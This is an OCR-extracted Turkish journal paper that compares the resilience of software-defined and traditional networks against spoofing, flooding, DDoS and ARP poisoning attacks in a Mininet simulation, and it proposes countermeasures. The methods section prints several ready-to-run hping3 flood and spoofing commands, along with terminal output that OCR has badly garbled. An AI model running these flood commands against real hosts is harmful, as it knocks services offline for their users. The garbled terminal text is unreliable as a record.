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BIiLGi GUVENLIGi TEHDITLERIi: YAZILIM TANIMLI AGLAR
GELENEKSEL BILGISAYAR AGLARINA KARSI

Abdullah Yavuz, Giirkan Tuna'”
! Trakya Universitesi, Edirne Teknik Bilimler MYO, Edirne.

OZET

Yazilim tanimli aglar bakim, maliyet ve yonetim kolaylig1 agilarindan avantajlara sahiptir. Ote yandan,
geleneksel bilgisayar aglar1 uzun yillardir bilgi giivenligi tehditleri agisindan sinanmig olmakla birlikte
gercek saha uygulamalarinda yazilim tanimli aglar iizerinde yapilan ¢alismalar nispeten azdir. Yazilim
tanimh aglarin bilgi giivenligi tehditleri agisindan ele alinmasinin 6zellikle ag yoneticileri i¢in kritik
onem tasidig dikkate alinarak, bu calismada yazilim tamimhi aglar ile geleneksel bilgisayar aglarinin
bilgi giivenligi tehditlerine kars1 zafiyetleri degerlendirilmis ve ¢6ziim Onerileri sunulmustur.
Gergeklestirilen benzetim ¢alismalarinda IP Spoofing, SYN Flood, RST/FIN Flood, SYN-ACK Flood,
UDP Flood, ARP Poisoning ve Distributed Denial of Service saldirilar1 gercgeklestirilmistir.
Gergeklestirilen benzetim calismalarinin sonuglari, geleneksel bilgisayar aglarina kiyasla ARP
Poisoning saldirist diginda yazilim tanimli aglarin daha fazla giivenlik zafiyeti tasidigi goriilmektedir.
Ancak almacak bazi tedbirler ile potansiyel birgok bilgi giivenligi saldirisinin etkileri ortadan

kaldirilabilir veya azaltilabilir.

Anahtar Kelimeler: Yazilim Tanimli Aglar, Geleneksel Bilgisayar Aglari, Tehditler,
Giivenlik.

ABSTRACT

Software-defined networks have advantages in terms of maintenance, cost and ease of management. On
the other hand, traditional computer networks have been tested for information security threats for
many years, but in real-field applications, studies on software-defined networks are relatively small.
Considering that software-defined networks are of critical importance for network administrators, in
this study, vulnerabilities of software-defined networks against information security threats were
evaluated and solutions were proposed. In the simulation studies, IP Spoofing, SYN Flood, RST / FIN
Flood, SYN-ACK Flood, UDP Flood, ARP Poisoning and Distributed Denial of Service attacks were
carried out. The results of the simulation studies show that except for ARP Poisioning, software defined
networks carry more security vulnerability compared to traditional computer networks. However, with
some measures, the effects of many potential information security attacks can be eliminated or
mitigated.

Keywords: Software Defined Networks, Traditional Computer Networks, Threats, Security.
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1. GiRiS

Geleneksel bilgisayar ag§ mimarisi merkeziyet¢i ve karmasik oldugundan bu mimariye dayali
aglarda kisith esneklik ve sorun giderme zorluklar1 bulunmaktadir. Bu mimariye dayali aglar
iireticiye baghidir ve ag yapilandirmasinda herhangi bir degisiklik yapmak oldukc¢a zor ve
maliyetlidir [1]. Geleneksel bilgisayar ag altyapilarinin kisitlamalarini ortadan kaldirabilmek
icin yazilim tanimli aglar Onerilmistir. Yazilim tanimli aglarda geleneksel bilgisayar ag
mimarisinin altyapisinda bir biitlin olarak bulunan veri ve kontrol diizlemleri ayrilmaktadir [2].
Boylece, ag ve yonetim sistemlerinin basitlestirilmesi ve otonom bir yapiya kavusmasi
hedeflenmektedir [2]. Mevcut donanim altyapisini kullanarak sanal aglar olusturmak ve onu
kisa siirede ve diisik maliyetle esnek bir ag olarak tanimlayabilmek igin programlama kilit
noktadir [3,4]. Bu nedenle yazilim tanimli aglarin tarihsel gelisimine bakildiginda
programlanabilir aglar iizerine kurulu oldugu goriilebilir. 1990’11 yillarda ortaya atilmis olan
programlanabilir aglar ireticilerin kurallarna baghh kalinmasin1 zorunlu kilmakta ve
tireticilerin miisaade ettigi derecede agikti. Farkli iiretici cihazlarinda ayni yapilandirmanin
saglanamamasi nedeniyle kisith basariya ulasmislardir [5]. Aktif aglar [6], Programlanabilir
ATM aglar [7], Network Control Point (NCP) [8] ve Routing Control Platform (RCP) [9] en

bilinen 6rnekler arasindadir.

Geleneksel bilgisayar aglarindan farkli olarak etkin bir ag yapilandirmasi saglayan ve
programlanabilir ag yonetimi yaklasimi sunan yazilim tanimli aglarin tarihsel gelisimi
incelenirse yazilim tanimli ag teriminin OpenFlow c¢aligmalarinin ardindan ortaya ¢iktig
goriilebilir [10]. OpenFlow ag anahtarlayici ve yonlendiricilerin ag iizerinden yonlendirme
diizlemine erisim saglayan bir iletisim protokoliidiir [10]. OpenFlow aglar1 daha dinamik,
yonetilebilir, diisiik maliyetli ve uygulanabilir hale getirerek hem fiziksel hem de sanal ag
anahtarlayici ve yonlendirici gibi ag donanimlarinin dogrudan programlanmasini saglar [11].
OpenFlow iizerine ¢alismalar yapmak amaciyla kurulan Open Networking Foundation (ONF)
[12] yazilim tanimli a§ mimarisi igin altyapt katmani, kontrol katmani ve uygulama
katmanindan olusan 3 katmanli bir mimari énermistir [13]. Bu katmanlar arasindaki iletisimi

saglamak i¢in ise kuzey ve gliney ara yiizli Onerilmistir.
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Glinlimiizde internet kullanimimin yayginlagsmast nedeniyle ag giivenligini saglamak
kagimilmaz bir gereklilik haline gelmistir. Ag glivenligi, bir bilgisayar aginin ve ag tarafindan
erigilebilen kaynaklarin yetkisiz erisimi, kotiiye kullanimi, degistirilmesi veya reddedilmesini
onlemek ve izlemek i¢in kabul edilen politika ve uygulamalardan olugmaktadir. Ag giivenligi,
ag yoneticisi tarafindan kontrol edilen bir agdaki verilere erisim yetkisini igerir. Isletim
sistemleri ve kullanilan yazilimlar daha islevsel ve kapsamli hale geldik¢e olasi tehditler de
artar. Ag giivenligi sorunluysa verilere erisme haklar1 olmayan davetsiz misafirler, ag
kullanicilarina ait degerli ve o6zel bilgilere erisebilir [14]. Geleneksel bilgisayar aglari
tizerinden iletisim kuran bilgisayar sistemlerini korumak olarak adlandirilabilecek olan siber
giivenligin amaci bilgi giivenligi risklerini siirlamak ve bilisim teknolojilerini kotii niyetli
saldirganlardan korumaktir. Verilerin gizliligini, biitiinliglinii ve erisilebilirligini korumay1
amaclar. Geleneksel bilgisayar aglart bilgi giivenligi tehditlerine karsi uzun yillardir
denenmistir. Ote yandan, yazilm tanmimli aglar {izerinde sinirh sayida bilgi giivenligi
degerlendirmesi yapilmistir. Bu ¢alismada, yazilim tanimli aglarin geleneksel bilgisayar
aglarina kiyasla bilgi giivenligi tehditlerine kars1 zafiyetleri degerlendirilmis ve ¢oziim
oOnerileri ortaya konmustur. Gergeklestirilen benzetim ¢alismalarinda kullanilan saldir1 gesitleri
arasinda IP Spoofing, SYN Flood, RST/FIN Flood, SYN-ACK Flood, UDP Flood, ARP

Poisoning ve Distributed Denial of Service (DDoS) bulunmaktadir.

2. MATERYAL VE METOD

Yazilim tanimli ag kontrolciileri, yazilim tanimli ag mimarisinde kontrol katmaninda yer
almaktadir. Kontrolcii, yazilim tanimli bir agin ¢ekirdegidir. Agin bir ucundaki ag cihazlar ve
diger ucundaki uygulamalar arasinda bulunmakta olup, gelismis ag yonetimi ve uygulama
performansi i¢in akis kontroliinii yonetmektedir [15]. Giincel olarak kullanilan yazilim taniml
ag kontrolciileri, OpenFlow protokoliine dayanmaktadir [10]. Yazilim tanimli ag kontrolciileri
ag trafigini bir ag operatdriiniin uyguladigi yonlendirme politikalarina gore dogrudan
yonlendirmekte ve boylece bireysel ag cihazlar1 icin otomatik olmayan yapilandirma
islemlerini en aza indirmektedir. Bu c¢alisma kapsaminda gerceklestirilen benzetim
caligmalarinda Hping3 [16] ve Dsniff [17] uygulamalar1 kullanilmistir. Yazilim tanimli aglari

olusturmak i¢in yazilim tanimli ag kontrolciisii olarak Floodlight kontrolciisii [18] secilmis ve
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Mininet emiilatorii [19] kullanilmistir. Mininet, bir sanal host, switch, kontrolcii ve baglanti
ag1 olusturan bir ag emiilatoriidiir. Oldukga esnek ve 6zel yonlendirmeye sahip yazilim tanimh
aglar olusturmak i¢in OpenFlow’u desteklemektedir. Mininet, arastirma, gelistirme, 6grenme,
prototip olusturma, test etme, hata ayiklama da dahil birgok islevi desteklemektedir [19].
Calisma kapsamindaki saldirilart gerceklestirmek igin geleneksel bilgisayar aglarinda Kali
Linux [20] sanal makinesi, yazilim tanimli aglarda ise olusturulmus olan yazilim tanimli ag
icindeki h1l diiglimii kullanilmistir. Saldirilarin hedefi olarak geleneksel bilgisayar aglarinda
ana makine, yazilim tanimli agda ise h2 digliimi secilmistir. Benzetim c¢aligmasinda IP
Spoofing, SYN Flood, RST/FIN Flood, SYN-ACK Flood, UDP Flood, DDoS ve ARP

Poisoning saldirilart kullanilmistr.

Sekil 1°de gosterildigi gibi IP Spoofing saldiris1 yazilim tanimli agda bagladiktan kisa bir siire
sonra saldirtya maruz kalan h2 diiglimii agdan kopmus fakat sonra tekrar baglanmistir. Ancak
daha sonra agdan tamamen kopmustur. Ote yandan, geleneksel bilgisayar aglarinda ise
saldirtya maruz kalan makine ise agdan kopmamis fakat kontrol amaciyla gonderilen ping

paketlerinde kayiplar olmustur.

:~# hping3 -S 192.168.1.105 --spoof 5.5.5.5 --flood
HPING 192.168.1.105 (eth0 192.168.1.105): S set, 40 headers + 0 dat
a bytes

"Node: h1"
nent:™# hpin

hping in flood mode, no replies will be shown

0. mininent@mininent: ~ AE

bytes
bytes
bytes
bytes
bytes
bytes
bytes
bytes
bytes
bytes
bytes
bytes
bytes
bytes
bytes
bytes

from
from
from
from
from
from
from
from
from
from
from
from
from
from
from
from

0.

.0.0.2:
.0.0.2:
:0.0.2:
«0.0.2:
.0.0.2:
.0.0.2:
:0.0.2:
«0.0.2:
.0.0.2:
.0.0.2:
:0.0.2:
«0.0.2:
.0.0.2:
.0.0.2:
:0.0.2:

0.

23

icmp_seq=83
icmp_seq=53
icmp_seq=84
icmp_seq=54
icmp_seq=85
icmp_seq=55
icmp_seq=86
icmp_seq=87
icmp_seq=56
icmp_seq=88
icmp_seq=57
icmp_seq=89
icmp_seq=58
icmp_seq=59
icmp_seq=60
icmp_seq=61

ttl=64
ttl=64
ttl=64
ttl=64
ttl=64
ttl=64
ttl=64
ttl=64
ttl=64
ttl=64
ttl=64
ttl=64
ttl=64
ttl=64
ttl=64
ttl=64

time=4.61 ms
time=30257 ms
time=3.27 ms
time=30532 ms
time=0.930 ms
time=30741 ms
time=13.6 ms
time=0.086 ms
time=31774 ms
time=0.161 ms
time=32026 ms
time=5.26 ms
time=31629 ms
time=32397 ms
time=33506 ms
time=33472 ms

From 10.0.0.2 icmp_seq=282 Destination Host Unreachable
From 10.0.0.2 icmp_seq=283 Destination Host Unreachable
From 10.0.0.2 icmp seq=284 Destination Host Unreachable

(a) yazilim tanimli ag

Sekil 1. Saldir1 1 — IP Spoofing.

fle  Edit

- 192.168.1.105 hping statistic ---
6232214 packets transmitted, 0 packets received, 100% packet loss
round-trip min/ava/max = 0.0/0

0.0
root@kali: ~
View Search Terminal Help
: icmp seq=229 ttl=64 time=0.096 ms
: icmp seq=231 ttl=64 time=106 ms
: lcmp seq=234 ttl=64 time=15.8 ms
: icmp_seq=235 ttl=64 time=127 ms
: icmp seq=237 ttl=64 time=5.78 ms
: icmp_seq=239 tt1=64 time=0.079 ms
: icmp_seq=240 ttl=64 time=3.35 ms

: icmp_seq=243 tt1=64 time=88.7 ms
: icmp_seq=245 tt1=64 time=100 ms

: icmp_seq=247 tt1=64 time=6.97 ms
: icmp_seq=250 ttl=64 time=9.13 ms
: icmp_seq=251 ttl=64 time=19.2 ms
: icmp_seq=252 ttl=64 time=28.5 ms

(b) geleneksel bilgisayar ag1

Sekil 2°de gosterildigi gibi SYN Flood saldiris1 yazilim tanimli agda basladiktan sonra saldiriya

maruz kalan diiglim, agda kalma siiresi degisse bile her denemede agdan kopmustur. Geleneksel
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bilgisayar aglarinda saldirtya maruz kalan makine ise saldiridan etkilenmemistir.

File Edit View Search Terminal Help
:~# hping3 -V -c 1000 -d 160 -S -p 21 --flood 192.168.1.105
using eth®, addr: 192.168.1.103, MTU: 1500
HPING 192.168.1.105 (etho 192.168.1.105): S set, 40 headers + 100 data bytes
hping in flood mode, no replies will be shown

(10.0.0.2) 56(84) bytes of data. root@kali: ~
: icmp_seq=1 ttl=64 ti .65 ms

: icmp_seq=2 ttl=64 ti .00 ms
: icmp_seq=3 ttl=64 ti .047 ms
: icmp_seq=4 ttl=64 ti .060 ms
: icmp_seq=5 ttl=64 ti .043 ms
: lcmp_seq=6 ttl=64 ti .034 ms

.0.0.2: icmp_seq=7 ttl=64 time=0.044 ms
10.0.0.2: icmp_seq=8 ttl=64 time=0.033 ms
icmp_seq=45 Destination Host Unreachable
icmp_seq=46 Destination Host Unreachable
icmp_seq=47 Destination Host Unreachable
icmp_seq=48 Destination Host Unreachable
icmp_seq=49 Destination Host Unreachable
icmp_seq=50 Destination Host Unreachable

File Edit View Search Terminal Help
: icmp_seq=174
: icmp_seq=175

: icmp_seq=176
: icmp seq=177
: icmp seq=178
: icmp seq=179
: icmp_seq=180
: icmp_seq=181
: icmp_seq=182
: icmp seq=183
: icmp seq=184 ttl=64
: icmp seq=185 ttl=64
: icmp seq=186 ttl=64

(a) yazilim tanimli ag (b) geleneksel bilgisayar agi
Sekil 2. Saldir1 2 — SYN Flood.

Sekil 3’te gosterildigi gibi RST/FIN Flood saldirisi yazilim tanimli agda basladiktan sonra
saldirtya maruz kalan diiglim agdan kopmustur. Agdan tamamen kopmadan once birka¢ defa aga
tekrar baglanmig olsa bile sonu¢ degismemistir. Geleneksel bilgisayar aglarinda ise saldiriya

maruz kalan makine saldiridan etkilenmemistir.

:~# hping3 -FA 192.168.1.105 -p 21 --flood
HPING 192.168.1.105 (eth® 192.168.1.105): AF set, 40 headers + 0 data bytes
hping in flood mode, no replies will be shown

"Node: h1"

AF
11 be

N

icmp_seq=58 time=13.8 ms root@kali: ~ (-
icmp_seq=59 ttl=64 time=1.33 ms
icmp_seq=60 ttl=64 time=2.68 ms
lcmp_seq=61 ttl=64 time=0. ns. root@Kali: ~ X root@kali: ~ x f
icmp_seq=62 ttl=64 time=0. ms _
icmp_seq=63 ttl=64 time=0. ms
icmp_seq=64 ttl=64 time=0. ms
icmp_seq=65 ttl=64 time=0. ms
icmp_seq=66 ttl=64 time=0. ms
icmp_seq=67 ttl=64 time=0. ms
icmp_seq=68 ttl=64 time=0. ms
icmp_seq=69 ttl=64 time=0. ms
icmp_seq=70 ttl=64 time=0. ms
icmp_seq=71 ttl=64 time=0. ms
icmp_seq=72 ttl=64 time=0. ms

icmp_seq=108 Destination Host Unreachable

icmp_seq=109 Destination Host Unreachable
From 10.0.0.2 icmp_seq=110 Destination Host Unreachable

File Edit View Search Terminal Tabs Help

bytes fr A 5 : icmp seq=33 ttl=64 time=0
4 bytes fr .168.1.105: icmp_se ttl=64 time=0
bytes fr % % : icmp seq=35 ttl=64 time=0
4 bytes fr .168.1.105: icmp_seq=36 ttl=64 time=0.
bytes fr 3 3 6 : icmp_se tt1=64 time=0
bytes fr 2 21 : icmp_seq=38 ttl=64 time=0
4 bytes % oL : icmp seq=39 ttl=64 time=0

N

N

bytes fr .168.1.105: icmp_seq=46 ttl=64 time=0.
4 bytes A 5 & : icmp se ttl=64 time=0

bytes fr 2 <1 : icmp_seq=42 ttl=64 time=0
4 bytes % L : icmp seq=43 ttl=64

bytes fr % s 1 icmp_seq=44 ttl=64
4 bytes i

hute

N

.0.0.
.0.0.
.0.0.
.0.0.
.0.0.
<0.0.
.0.0.
.0.0.
.0.0.
.0.0.
.0.0.
.0.0.
.0.0.
.0.0.
.0.0.

(a) yazilim taniml ag (b) geleneksel bilgisayar ag1
Sekil 3. Saldir1 3 — RST/FIN Flood.
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Sekil 4’te gosterildigi gibi SYN-ACK Flood saldiris1 yapilan diigiim saldir1 basladiktan sonra
agdan kopmustur. Agdan tamamen kopmadan O6nce birka¢ defa aga tekrar baglanmis olsa bile
sonu¢ degismemistir.  Geleneksel bilgisayar aglarinda ise saldirtya maruz kalan makine

saldiridan etkilenmemistir.

:~# hping3 -SA 192.168.1.105 -p 21 --flood
HPING 192.168.1.105 (eth® 192.168.1.105): SA set, 40 headers + @ data bytes
hping in flood mode, no replies will be shown
10.0.0.2: icmp_seq=9 ttl=64 time
10. icmp_seq=10 ttl=64 time
10. icmp_seq=11 ttl=64 ti
10. icmp_seq=12 ttl=64
10.0.0. icmp_seq=13 ttl=64
10.0.0.2: ttl=64
10.0.0. ttl=64
10.0.0. ttl=64
10.0.0. i ttl=64
10.0.0. icmp_seq=18 ttl=64
10.0. icmp_seq=19 ttl=64
10. icmp_seq=20 ttl=64
10.0. icmp_seq=21 ttl=64
10.0.0. icmp_seq=22 ttl=64
10.0.0.2:
10.0.0.
10.0.0.
10.0.0. =
10.0.0. icmp_seq=27 ttl=64
10.0.0.2: icmp_seq=28 ttl=64
icmp_seq=71 Destination Host Unreachable
icmp_seq=72 Destination Host Unreachable
icmp_seq=73 Destination Host Unreachable
icmp_seq=74 Destination Host Unreachable

root@kali: ~

File Edit View Search Terminal Tabs Help

root@Kali: ~ X root@kali: ~

from .168.1.105: icmp seq=25 ttl=64 time=0.245 ms
from .168.1.105: icmp seq=26 ttl=64 time=0.077 ms
from .168.1.105: icmp seq=27 ttl=64 time=6.135 ms
from .168.1.105: ¥ =0.217 ms
from

from

from

from .168.1.105: icmp_s

from .168.1.105: icmp seq=33

from .168.1.105: icmp seq=34

from .168.1.105: icmp seq=35

from

ttl=64
ttl=64
ttl=64
ttl=64

[oNcNoNoNoNoNoNoNoNoNoNofoofofolo]

(a) yazilim tanimli ag (b) geleneksel bilgisayar agi
Sekil 4. Saldir1 4 — SYN-ACK Flood.

Sekil 5’de gosterildigi gibi UDP Flood saldiris1 yazilim tanimli agda basladiktan kisa bir stire
sonra, saldirtya maruz kalan diiglim agdan birka¢ defa diigmesine ragmen aga tekrar baglanmay1
basarmistir. Fakat en sonunda agdan tamamen kopmustur. Geleneksel bilgisayar aglarinda ise

saldirtya maruz kalan makine saldiridan etkilenmemistir.

:~# hping3 192.168.1.105 -I eth --udp -p 53 --flood

udp mod
hping no replies will be
mininet> h3 ping h2
PING 10.0.0.2 (160.0.0.2) 56(84) bytes of data.
from 10.0.0.2: icmp_seq=1 ttl=64 time=689 ms
from 10.0.0.2: icmp_seq=2 ttl=64 time=0.221 ms
from 10.0.0.2: icmp_seq=3 ttl=64 time=0.053 ms
from 10.0.0.2: icmp_seq=4 ttl=64 051 ms
from 10.0.0.2: icmp_seq=5 ttl=64 ti .049
from 10.0.0.2: icmp_seq=6 ttl=64 ti .038 ms
10.0.0.2: icmp_seq=7 ttl=64 ti .029 nms
10.0.0.2: icmp_seq=8 ttl=64 ti .042 ms
10.0.0.2: icmp_seq=9 ttl=64 time=0.034 ms
icmp_seq=48 Destination Host Unreachable
icmp_seq=49 Destination Host Unreachable
icmp_seq=50 Destination Host Unreachable

root@kali: ~ o

Fle Edit View Search Terminal Help
: lcmp seq=411 tt1=64 time=0.249 ms
: lcmp seq=412 tt1=64 time=0.165 ms
: lcmp seq=413 tt1=64 time=0.354 ms
: icmp_seq=414 tt1=64 time=0.363 ms
¢ lemp_seq=415 ttl=64 time=0.355 ms
: icmp seq=416 ttl=64 time=0.328 ms
¢ icmp seq=417 ttl=64 time=0.354 ms
: icmp seq=418 tt1=64 time=0.342 ms

: lcmp seq=419 tt1=64 time=0.266 ms
: lcmp seq=420 tt1=64 time=0.323 ms
: icmp_seq=421 ttl=64 time=0.130 ms
: icmp_seq=422 tt1=64 time=0.330 ms
: lemp_seq=423 tt1=64 time=0.343 ms
: icmp seq=424 ttl=64 time=0.382 ms
b4 bytes from 192.168.1.105: icmp seq=425 ttl=64 time=0.403 ms

(a) yazilim tanimli ag (b) geleneksel bilgisayar ag1
Sekil 5. Saldir1 5 — UDP Flood.

Bilgi Giivenligi Tehditleri: Yazilim Tanimh Aglar Geleneksel Bilgisayar Aglarina Kars1 205



e
Arastirma Yavuz&Tuna/Kirklareli University Journal of Engineering and Science 5-2(2019) 200-209 \/

DOI: 10.34186/klujes.578590 Gelis Tarihi:06.11.2019 Kabul Tarihi: 31.12.2019

Sekil 6°da gosterildigi gibi DD0S saldirisi yazilim tanimli agda basladiktan sonra belirli bir siire
saldirtya maruz kalan diigiim paket alimina devam etmis fakat en sonunda agdan tamamen
kopmustur. Geleneksel bilgisayar aglarinda yapilan saldirida ise saldirtya maruz kalan makine

saldiridan etkilenmemistir.

:~# hping3 --flood 192.168.1.105
HPING 192.168.1.105 (etho 192.168.1.105): NO FLAGS are set, 40 headers + 0 data
bytes

eEnESenaL L hping in flood mode, no replies will be shown

: icmp_seq=15 time=0.
: icmp_seq=16 time=0.
: icmp_seq=17 time=0.
: icmp_seq=18 time=0.037
: icmp_seq=19 time=0.024
: icmp_seq=20 time=0.039
: icmp_seq=21 time=0.022
: icmp_seq=22 time=0.059
: icmp_seq=23 time=0.042
: icmp_seq=24 time=0.040
: icmp_seq=25 time=0.027
: icmp_seq=26 ttl=64 time=0.040
: icmp_seq=27 ttl=64 time=0.040
: icmp_seq=28 ttl=64 time=0.028
.0.0.2: icmp_seq=29 ttl=64 time=0.024
icmp_seq=95 Destination Host Unreachable
icmp_seq=96 Destination Host Unreachable
icmp sea=97 Destination Host Unreachahle

root@kali: ~

File Edit View Search Terminal Tabs Help

root@kali: ~ X root@Kali: ~

: icmp seq=23 ttl=64 time=0.128 ms
: icmp seq=24 ttl=64 time=0.074 ms
: icmp seq=25 ttl=64 time=0.084 ms
: lcmp seq=26 ttl=64 time=0.191 ms
: icmp seq=27 ttl=64 time=0.167 ms
: icmp seq=28 ttl=64 time=0.079 ms
: lcmp seq=29 ttl=64 time=0.088 ms
: lcmp seq=30 ttl=64 time=0.236 ms
: lcmp seq=31 tt1=64 time=0.159 ms
: lcmp seq=32 ttl=64 time=0.259 ms
: icmp seq=33 ttl=64 time=0.119 ms
: icmp seq=34 ttl=64 time=0.108 ms
: icmp seq=35 ttl=64 time=0.101 ms

(oo oo o oo oo oo oo oo Ry
o R-R-R-RoR-NoR-RoRoN-l< Nl <N
NNNNNNNNNNNNNNDN

(a) yazilim tanimli ag (b) geleneksel bilgisayar agi
Sekil 6. Saldir1 6 — DDoS.

Sekil 7°de gosterildigi gibi ARP Poisoning saldirisinda hem yazilim tanimli ag hem de geleneksel
bilgisayar agi, ARP Poisoning saldirisina karst koyamamistir. Saldir1 basladiktan hemen sonra,
saldirtya maruz kalan diigim ve makine haberlesmeyi saldirgan diigiim iizerinden devam

ettirmistir.

"Node: h3"

] ay (1 25:
mininent@mininent:~$ arp -a
? (192.168.1.105)te 4c:eb:42:9b:e1:23 [ether] eth® Uzerinde
? (192.168.1.1)te c0:25:€9:b6:d3:c3 [ether] etho Uzerinde
mininent@mininent:~$ arp -a
? (192.168.1.105)te 08:00:27:74:17:d4 [ether] eth® Uzerinde
? (192.168.1.106)te 08:00:27:74:17:d4 [ether] eth® Uzerinde
? (192.168.1.1)te 0:25:e9:b6:d3:c3 [ether] etho Uzerinde

(a) yazilim taniml1 ag (b) geleneksel bilgisayar agi

Sekil 7. Saldir1 7 — ARP Poisoning.

Bilgi Giivenligi Tehditleri: Yazilim Tanimh Aglar Geleneksel Bilgisayar Aglarina Kars1 206



o
& 7%

SN
Arastirma Yavuz&Tuna/Kirklareli University Journal of Engineering and Science 5-2(2019) 200-209 \_/

DOI: 10.34186/klujes.578590 Gelis Tarihi:06.11.2019 Kabul Tarihi: 31.12.2019

Gergeklestirilen saldirilarin sonuglar1 genel olarak ele alindiginda geleneksel bilgisayar aglari,
ARP Poisoning saldiris1 disinda diger saldirilara karsi daha basarili olurken, yazilim tanimh
aglarin biitiin saldirilarda basarisiz oldugu ortaya ¢ikmistir. Bu sonuglar dikkate alindiginda
yazilim tanimli aglarin herhangi bir giivenlik tedbiri olmadan kullanimi 6nerilmemektedir.
Ancak alinabilecek bazi tedbirler ile giivenlik sorunlart minimize edilebilir. Yazilim tanimh
aglarda olas1 her saldir tiirline 6nlem olarak kullanilabilecek bir tedbir bulunmamakla birlikte
DDoS saldirilarina 6nlem olarak kontrol diizleminde hiz sinirlama ve paket diisiirme teknikleri
kullanilmalidir. ARP Poisoning saldirilarina 6nlem olarak ise kimlik dogrulama yontemleri

devreye alinmalidir.

3. SONUCLAR

Yazilim tanimli aglar birgok avantaja sahip olmakla birlikte bilgi giivenligi tehditleri agisindan
yeterince ele alinmamistir. Bu nedenle yazilim tanimli aglarin bilgi gilivenligi tehditleri
acisindan degerlendirilmesi biiyiilk 6nem tasimaktadir. Bu ¢alismada yazilim tanimli aglarin
bilgi gilivenligi tehditlerine karsi zafiyetleri, geleneksel bilgisayar aglariyla kiyaslanarak
degerlendirilmis ve ¢6ziim Onerileri sunulmustur. Hping3 ve Dsniff uygulamalar1 kullanilarak
gergeklestirilen benzetim ¢alismalarinda IP Spoofing, SYN Flood, RST/FIN Flood, SYN-ACK
Flood, UDP Flood, ARP Poisoning ve DDoS saldirilar1 gergeklestirilmistir. Gergeklestirilen
benzetim g¢aligmalarinin sonuglari, geleneksel bilgisayar aglarna kiyasla yazilim taniml
aglarin daha fazla glivenlik zafiyeti tasidigi gostermekle birlikte DDoS saldirilarina 6nlem
olarak kontrol diizleminde hiz smirlama ve paket diisiirme teknikleri, ARP Poisoning
saldirilarina  Onlem olarak ise kimlik dogrulama yontemleri kullanilabilir. Benzetim
calismalarina dayali olarak gerceklestirilen bu calismanin devaminda, gercek sistemler
tizerinde yazillm tanimli aglarin  ayrintili  glivenlik  degerlendirmeleri  yapilmasi

planlanmaktadir.
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